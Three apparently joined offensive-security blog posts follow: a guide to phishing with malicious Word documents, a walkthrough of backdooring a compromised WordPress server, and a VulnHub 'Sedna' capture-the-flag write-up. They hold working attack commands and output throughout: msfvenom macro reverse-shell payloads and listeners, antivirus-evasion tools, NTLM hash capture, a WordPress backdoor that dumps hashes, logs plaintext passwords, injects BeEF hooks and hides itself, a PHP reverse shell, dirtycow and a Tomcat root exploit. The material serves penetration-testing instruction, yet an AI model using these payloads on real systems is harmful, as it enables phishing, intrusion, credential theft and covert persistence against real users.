Phishing with Maldocs

 

There are many ways to run a phishing campaign.  The most common of them all is a typical credential harvesting attack, where the attacker sends an email to the target enticing them to click a link to a spoofed website.  Running these campaigns are fairly straight forward, and a couple of tools make this very easy to do.  The most common of all is likely the Social Engineer Toolkit.  SET works great for cloning an existing website and setting up a PHP form to collect credentials.  While this technique is very effective, it may also be a good choice to perform phishing attacks with malicious documents.

Macro Attacks

The most common Maldoc is a malicious Microsoft Word document.  Typically these will contain embedded Macros which execute a payload when opened.  Because of this, modern Windows will usually display two prompts that the user must click through before the payload is executed.  Typically they must click “Enable Content” and the subsequently click “Enable Macros”.

There a quite a few ways you can generate these.  The most simple way is with Metasploit.  As documented here, all you need to do is use msfvenom to generate some malicious visual basic code like so:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe

And then paste it into the Visual Basic Editor.

Set up a listener in the Metasploit framework and wait for the user to enable macros.

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.101; set LPORT 8080; run; exit -y"

While you can use multiple encoding types, this attack is likely to get caught by Anti-Virus.

You can use other tools besides msfvenom to generate the VBA code required for the Macro.  You can also use Unicorn by TrustedSec. To generate the payload use:

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro

And you can catch the meterpreter shell with the same listener you would use with the msfvenom payload.

OLE Attack

If you like Powershell Empire more than Metasploit, Empire also has a stager for office macros. Enigma0x3 has a good blog post on how to do this.  Also notable is the OLE attack.  Instead of using a macro to execute a payload, you can embed a file within the document itself.  By changing the icon, you may be able to trick the user into executing a bat file which contains a malicious payload.  This attack is also documented in the same blog post.  This attack will prompt the user before executing payload as seen below:

AV Bypass

Because of the success of the Macro attack method, AV vendors have been quick to adapt.  If AV is causing an issue, there are a few more tools that you can use to avoid detection.  LuckyStrike is a tool that was released at DerbyCon 2016.  The author has a lengthy blog post on this tool that is well worth the read.  LuckyStrike contains a bunch of obfuscation methods to avoid detection and can even go as far as encrypting the payload ensuring that AV sandbox will never be able to execute it for dynamic analysis.

If Software Restriction Policies or EMET are what is keeping you down, wePWNise might be the tool for you.  As MRWLabs explains it on thier website, “It collects information through enumeration of relevant parts of the Registry where various policy security settings are stored, and identifies suitable binaries which are safe to inject code into.”

Capturing Hashes

Now to get into the more exotic methods.  A very novel way of capturing NTLM hashes is with a tool named WordSteal. The way WordSteal works is by embedding a reference to a file hosted on a malicious SMB server.  When the document is opened, the client will try to connect to the SMB server without any user interaction.  This will capture an NTLM handshake and can be sent to a password cracker just as you would do if you were running Responder within the local network.  The biggest caveat here is that the client network must be able to initiate SMB connections outbound.  This means that they must not be any egress rule blocking port 445.  This is not always the case, but if it goes through this is a good way to collect hashes as the user does not have to do anything other than open the document.  If you are able to crack domain credentials, there is a good chance you can use Microsoft Outlook to execute a payload within the target environment as described in my blog post here: From OSINT to Internal – Gaining Access from outside the perimeter

This attack requires a malicious SMB server.  Fortunately, we can stand this up quite easily by using Metasploit.  Just run the following module:

use auxiliary/server/capture/smb

And it will output any handshakes that it captures.

Metasploit has the option of outputting this data in a format you can send to Cain and Abel or John the Ripper.

Prompting for credentials

Phishery is another great tool for non-traditional credential harvesting. Phishery is written in Go, and pre-compiled binaries are available here.  The way Phishery works is by using HTTP Basic Authentication delivered over SSL.  This tool is very easy to use, although to bypass the warnings to the end user you will need to set up a domain with a proper SSL certificate, or they will see this:

After clicking “Yes” or bypassing it all together with a valid certificate, the user will receive an authentication prompt.

If they enter their credentials, you will see them posted back to the listening server.

Exploits

While all these require some level of social engineering, you can also exploit the target with an exploit.  Recently CVE-2017-0199 was disclosed by FireEye after it had been found in the wild. This exploit targets RTF files opened with Microsoft Word. MDSec had published a blog post on how to exploit it, and a blogger wrote a step-by-step set of instructions to create a working exploit.

If you don’t want to do this manually, there is also a toolkit published on GitHub for exploiting this. It can create the RTF file, host the HTA payload, and host an exe that is executed by the HTA file.  The only other things you need to make it work are msfvenom and Metasploit, although with some minor modifications it could be used to deliver any other payload as well, such as a Powershell Empire stager.

At the time of this writing, there is a Metasploit module in development for this attack.  A pull request has been opened, and will likely be merged into the main branch soon.


Squeezing the juice out of a compromised WordPress server

During the course of a penetration test, you may stumble upon a web server running WordPress.  WordPress is a highly popular CMS.  It runs on PHP, and is typically ran on top of a LAMP stack.  While most WordPress servers on the web are configured with strong passwords and security plugins, rarely is this the case on internal networks.  For this reason, attackers can often find vulnerabilities in outdated versions of the software or more simply, guess the administrative password. Once you guess the password, there are a number of different things you can do to pivot to other systems.  Aside from escalating privileges, you can use WordPress itself to launch a number of other attacks against clients.

For these examples, I’m going to be using my own tools that I developed for exploiting WordPress.  While WPScan is arguably the best WordPress security tool, my tool WPForce, has a couple of advantages that we can make use of.  Unlike WPScan, which performs brute force login attempts agains the login page of WordPress, WPForce uses authenticated API calls to test the validity of credentials.  While most security plugins are wise to this method, it does provide slightly more stealth.

After identifying valid credentials, a companion script in the WPForce suite – Yertle, can be used to upload a backdoor onto the WordPress server and execute a number of post exploitation modules.

Running Yertle is relatively simple, just supply the URL, username, password, and type of backdoor.  While there are two types of backdoors available for upload, I prefer the –interactive option.

Once you run the script the tool will login into the WordPress site and upload a plugin.  If at any time you want to access this backdoor again, just supply the -e argument with the name of the upload directory. This plugin will take commands similar to SQLmap‘s os-shell.  To see the available modules, you can just type “help” or “?”.

os-shell> help

Core Commands
=============

Command                   Description
-------                   -----------
?                         Help menu
beef                      Injects a BeEF hook into website
exit                      Terminate the session
hashdump                  Dumps all WordPress password hashes
help                      Help menu
keylogger                 Patches WordPress core to log plaintext credentials
keylog                    Displays keylog file
meterpreter               Executes a PHP meterpreter stager to connect to metasploit
quit                      Terminate the session
shell                     Sends a TCP reverse shell to a netcat listener
stealth                   Hides Yertle from the plugins page

One of the useful post exploitation modules you can run is hashdump.  What hashdump will do is log into the SQL database, query the table containing the password hashes, and return the output.  You can then crack these hashes, and begin trying to use these credentials to move laterally to other systems.

os-shell> hashdump
ID: 1  - Username: admin  Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1  Email: Quaoar@localhost.com
ID: 2  - Username: wpuser  Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S.  Email: wpuser@localhost.com
ID: 3  - Username: n00py  Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/.  Email: n00py@protonmail.com

os-shell>

Not only can we collect the hashes, but we can collect plaintext credentials too.  By patching a PHP file within the WordPress core, we can log all passwords in plaintext as the user authenticates.

os-shell> keylogger
This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y
wp_signon function patched.  Do not run this more than once.  Use 'keylog' to check the log file.
os-shell>

After a warning letting the user know modifications will be made to the WordPress core, the authentication function is patched.

After waiting for a user to login, we can check the log file by typing “keylog” to see the plaintext credentials.

os-shell> keylog
2017-03-30 - Username:  && Password:
2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword

Moving away from credential harvesting but staying within the realm of client attacks, we can also inject a BeEF hook into the site.  This will allow the attacker to run arbitrary JavaScript against any users browsing the site.

os-shell> beef
This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y
IP Address: 10.0.1.16
BeEF hook added!  Check BeEF for any hooked clients. Do not run this multiple times.

After injecting the hook, we just wait for a user to browse the site.  Once the user browses the site, they become “hooked”.  At this point we can send any JavaScript payload we want.  BeEF contains a large number of attacks that can be launched against a client.

Demo payload being executed within the client’s browser:

As useful as these modules are, you may want to pivot to another type of shell.  Two options are available: a regular reverse TCP shell, and a PHP meterpreter shell.   To upgrade to a fully interactive shell, just run:

os-shell> shell
IP Address: 10.0.1.4
Port: 8080
Sending reverse shell to 10.0.1.4 port 8080
os-shell>

And listen on the chosen port to receive the shell:

root@Kali:~/WPForce$ nc -l 8080
bash: no job control in this shell
www-data@Quaoar:/var/www/wordpress/wp-content/plugins/aekpmsu$

If you wish to have a meterpreter shell, load up metasploit and run:

os-shell> meterpreter
IP Address: 10.0.1.4
Port: 4444
Sending meterpreter stager to connect back to 10.0.1.4:4444
os-shell>

And receive the meterpreter shell within metasploit:

[*] Started reverse handler on 10.0.1.4:4444
[*] Starting the payload handler...
[*] Sending stage (33068 bytes) to 10.0.1.21
[*] Meterpreter session 1 opened (10.0.1.4:4444 -> 10.0.1.21:60763) at 2017-03-29 20:49:16 -0600

Lastly, there are a couple ways to be more stealthy when using this tool.  By default, this module registers itself as a plugin within WordPress, and this plugin is visible to an administrator.

To remove the backdoor from the plugin screen, simple run the command “stealth”.  The backdoor will still be accessible, it just will not be visible within the UI.

os-shell> stealth

It is also worth mentioning that Yertle will send the user agent “Yertle backdoor uploader” by default, but can be overridden with the -a flag.  In my experience, this User Agent was causing my IP to be instantly banned when testing against web severs utilizing an IPS.


VulnHub Walkthrough: hackfest2016: Sedna

Sedna is the second vulnerable VM released by hackfest.ca this month.  Much of the first steps of enumeration will be similar to that of my write up for the first VM in the series.

The first thing I start with is an Nmap scan.  The output is below, shortened for brevity.

root@kali:~# nmap 10.0.1.22 -p- -sV -A
Starting Nmap 7.25SVN ( https://nmap.org ) at 2017-03-18 23:47 EDT
Nmap scan report for 10.0.1.22
Host is up (0.00050s latency).
Not shown: 65523 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http        Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8080/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat

Like before, the index.html page on port 80 did not disclose much useful information.  To enumerate these web applications, I once again used Nikto.  I ran this tool against the server on both port 80 and port 8080.

Nikto output of port 8080:

root@kali:~# nikto -host http://10.0.1.22:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.1.22
+ Target Hostname:    10.0.1.22
+ Target Port:        8080
+ Start Time:         2017-03-18 23:49:54 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache-Coyote/1.1
+ Server leaks inodes via ETags, header found with file /, fields: 0xW/1895 0x1475867860000
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /: Appears to be a default Apache Tomcat install.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ OSVDB-3720: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users.
+ /manager/html: Default Tomcat Manager / Host Manager interface found
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found
+ /manager/status: Default Tomcat Server Status interface found
+ 7839 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2017-03-18 23:50:07 (GMT-4) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto output of port 80:

root@kali:~# nikto -host http://10.0.1.22
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.1.22
+ Target Hostname:    10.0.1.22
+ Target Port:        80
+ Start Time:         2017-03-19 00:07:38 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x65 0x53fb059bb5bc8
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /files/: Directory indexing found.
+ OSVDB-3092: /files/: This might be interesting...
+ OSVDB-3092: /system/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ 7536 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2017-03-19 00:07:50 (GMT-4) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

I first went after the Apache Tomcat server.  I tried to brute force the manager password using the metasploit module auxiliary/scanner/http/tomcat_mgr_login.  After using a couple different lists, I was not able to discover the password.  I decided to let the Tomcat server sit for a moment and move on to the webserver on port 80.

During the Nikto scan a license.txt file was found.  As stated by the Nikto output, “License file found may identify site software”.  I looked at the content of the file and it did indeed disclose the name of some software that was running.

This was at the top of the output:

The MIT License (MIT) Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems Limited.

Seeing as I know knew there was the “BuilderEngine” software on this server, I went searching in ExploitDB for a relevant exploit.  Based on the license, we can see that the software likely hadn’t been updated since 2015.  This exploit for BuilderEngine was published in 2016.  The vulnerability is unauthenticated file upload. The PoC lists some simple HTML to upload a file and post it to the vulnerable service.  The only thing we need to modify is change “localhost” to the IP of our target server.

<html>
<body>
<form method="post" action="http://10.0.1.22/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>

Because we can see that this server is running PHP, we can use the pentestmonkey php reverse shell.

We just need to make a few modifications to point to our server:

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.1.16';  // CHANGE THIS
$port = 8080;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

The HTML PoC was saved to local file. Browsing to the file in a web browser allowed me to upload my PHP shell and have it accessible on the server.

The PHP shell could be triggered from http://10.0.1.22/files/pwn.php

I set up a netcat listener to catch the shell.

root@kali:~# nc -lvp 8080
listening on [any] 8080 ...
10.0.1.22: inverse host lookup failed: Unknown host
connect to [10.0.1.16] from (UNKNOWN) [10.0.1.22] 47809
Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
00:17:53 up 31 min,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

After a lot of enumeration, and attempting several exploits such as the overlayfs local root in ubuntu, I decided to look for something very recent. The dirtycow exploit was released late 2016 and is a good candidate to exploit this relatively newer Ubuntu system.  There is more than one way to skin a cow, and the dirtycow Github page lists a number of PoCs. If you do a search on ExploitDB for an exploit the first one comes up is this one, which is based upon one of the original PoCs.  After downloading the exploit code, I modified the username, and hosted it on my attacker system:

root@kali:~# python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
10.0.1.22 - - [19/Mar/2017 01:29:31] "GET /cow.c HTTP/1.1" 200 -

I grabbed it using wget from the victim system, writing it into the /tmp directory.  I then followed the instructions in the exploit comments to compile it:

$ gcc -pthread cow.c -o dirty -lcrypt
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Sedna:/tmp$ chmod +x dirty
www-data@Sedna:/tmp$ ./dirty

After the exploit ran, I was able to log into the system via SSH with my new n00py account.

root@kali:~# ssh n00py@10.0.1.22
n00py@10.0.1.22's password:
Permission denied, please try again.
n00py@10.0.1.22's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)* Documentation:  https://help.ubuntu.com/System information as of Sat Mar 18 19:27:13 EDT 2017System load: 0.0               Memory usage: 5%   Processes:       60
Usage of /:  30.2% of 7.26GB   Swap usage:   0%   Users logged in: 0Graph this data and manage this system at:
https://landscape.canonical.com/

At this point I now had root, but was really curious about the Tomcat server still.  While I was enumerating Tomcat I remember seeing some output in the 401 error that stated, “please examine the file conf/tomcat-users.xml in your installation. That file must contain the credentials to let you use this webapp.”

I found the tomcat-users.xml file, which disclosed the password for the management interface.

n00py@Sedna:/etc/tomcat7# cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<role rolename="manager-gui"/>
<user username="tomcat" password="submitthisforpoints" roles="manager-gui"/>
</tomcat-users>

Knowing that Metasploit contained a module for automatically uploading a war file (exploit/multi/http/tomcat_mgr_upload) ,I attempted to use it in the default configuration:

msf exploit(tomcat_mgr_upload) > exploit[*] Started reverse TCP handler on 10.0.1.16:1234
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying bkyWIWqX8zLJeL9kjhApl...
[*] Executing bkyWIWqX8zLJeL9kjhApl...
[*] Undeploying bkyWIWqX8zLJeL9kjhApl ...
[*] Sending stage (49645 bytes) to 10.0.1.22
[*] Meterpreter session 3 opened (10.0.1.16:1234 -> 10.0.1.22:53720) at 2017-03-19 01:36:44 -0400

meterpreter >
[*] 10.0.1.22 - Meterpreter session 3 closed.  Reason: Died

It created a meterpreter shell, but it died immediately.  While I could have tried using different payloads withing the module, I decided to create a standalone payload with Msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.1.16 LPORT=4444 -f war > shell.war
WARNING: Nokogiri was built against LibXML version 2.9.2, but has dynamically loaded 2.9.4
Payload size: 1099 bytes

Once I created the war file, I could upload it through the Web UI.  I could then trigger it by visiting  http://10.0.1.22:8080/shell/

I still used Metasploit to catch the shell, as seen here:

msf exploit(handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 10.0.1.16
LHOST => 10.0.1.16
msf exploit(handler) > exploit[*] Started reverse TCP handler on 10.0.1.16:4444
[*] Starting the payload handler...
[*] Command shell session 7 opened (10.0.1.16:4444 -> 10.0.1.22:59894) at 2017-03-19 01:53:53 -0400id
uid=116(tomcat7) gid=126(tomcat7) groups=126(tomcat7)

As it turns out, Tomcat can also be used for privilege escalation as well. A recent exploit was discovered in 2016.  From the advisory:

Tomcat (6, 7, 8) packages provided by default repositories on Debian-based 
distributions (including Debian, Ubuntu etc.) provide a vulnerable
tomcat init script that allows local attackers who have already gained access 
to the tomcat account (for example, by exploiting an RCE vulnerability
in a java web application hosted on Tomcat, uploading a webshell etc.) to
escalate their privileges from tomcat user to root and fully compromise the 
target system.

I had tried running the exploit out of the box, but it failed because of this check:

# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
cleanexit 2
fi

As I already had root, I decided to make a simple modification just to see this exploit work.  I backed up the ld.so.preload file:

n00py@Sedna:~# mv /etc/ld.so.preload /etc/ld.so.preload.bak

I then ran the exploit:

tomcat7@Sedna:/tmp$ ./tomcat.sh /var/log/tomcat7/catalina.out
./tomcat.sh /var/log/tomcat7/catalina.out
Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240
Discovered and coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit in [active] mode with the following privileges:
uid=116(tomcat7) gid=126(tomcat7) groups=126(tomcat7)
[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 tomcat7 tomcat7 986672 Mar 19 11:37 /tmp/tomcatrootsh
[+] Symlink created at:
lrwxrwxrwx 1 tomcat7 tomcat7 18 Mar 19 11:37 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload
[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉

To save time, I just used the root account to restart Tomcat:

n00py@Sedna:~# service tomcat7 restart
* Stopping Tomcat servlet engine tomcat7                              [ OK ]
* Starting Tomcat servlet engine tomcat7                              [ OK ]

This triggered the rest of the exploit, allowing me to gain a root shell from the Tomcat7 account.

[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
-rw-rw-rw- 1 n00py root 19 Mar 19 11:37 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 n00py root 986672 Mar 19 11:37 /tmp/tomcatrootsh
Please tell me you're seeing this too 😉
[+] Executing the rootshell /tmp/tomcatrootsh now!
tomcatrootsh-4.3# id
id
uid=116(tomcat7) gid=126(tomcat7) euid=0(n00py) groups=0(root),126(tomcat7)

And there we have it.  While I’m sure there may be other ways to exploit this system, these are the ways I found.  If anyone knows of others, feel free to comment.